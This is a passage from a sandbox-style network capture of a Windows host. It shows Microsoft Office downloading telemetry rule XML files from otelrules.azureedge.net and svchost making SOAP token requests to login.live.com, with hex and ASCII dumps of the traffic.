65	192.168.2.5	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:41 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:41 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:41 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: e52ede4a-001e-0017-0591-3f0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054841Z-174f7845968qj8jrhC1EWRh41s0000000y1g0000000012m1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:41 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.5	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:41 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:41 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:41 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: dc0e6055-901e-005b-2d91-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054841Z-174f78459688l8rvhC1EWRtzr00000000akg000000009gtg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:41 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.5	49841	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:41 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:41 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:41 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: c473f14b-c01e-00a2-5a07-412327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054841Z-174f7845968pght8hC1EWRyvxg000000011000000000hup7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:41 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.5	49842	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:42 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:42 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:42 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 6760f0bc-801e-002a-1f91-3f31dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054842Z-174f7845968cpnpfhC1EWR3afc0000000xh000000000fyr8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:42 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	49843	20.190.177.85	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:42 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-28 05:48:42 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-28 05:48:43 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 28 Nov 2024 05:47:43 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_BAY x-ms-request-id: d2198a38-9bd6-4297-afbe-c382aadfa611 PPServer: PPV: 30 H: PH1PEPF00018BDD V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 28 Nov 2024 05:48:42 GMT Connection: close Content-Length: 11390
2024-11-28 05:48:43 UTC	11390	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.5	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:43 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:43 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:43 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 26935917-f01e-0003-011b-414453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054843Z-174f7845968cpnpfhC1EWR3afc0000000xgg00000000gy32 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:43 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.5	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:43 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:44 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:43 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: d2a0c1bd-101e-0017-761b-4147c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054843Z-174f784596886s2bhC1EWR743w0000000y40000000002nf1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:44 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.5	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:43 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:44 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:43 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: fac49ef3-501e-008f-0a91-3f9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054843Z-174f784596886s2bhC1EWR743w0000000y0g00000000akcm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:44 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.5	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:43 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:44 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:43 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: e14f358b-d01e-007a-5d7e-3ff38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054843Z-174f7845968j6t2phC1EWRcfe80000000y60000000006f79 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:44 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.5	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:44 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:44 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:44 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 22106228-c01e-007a-5d36-40b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054844Z-174f7845968psccphC1EWRuz9s0000000y4g00000000hrvt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:44 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.5	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:45 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:45 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:45 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 3fc8ca9f-401e-0083-6c91-3f075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054845Z-174f7845968cdxdrhC1EWRg0en0000000y200000000015b6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:45 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	49850	20.190.177.85	443

Timestamp	Bytes transferred	Direction	Data
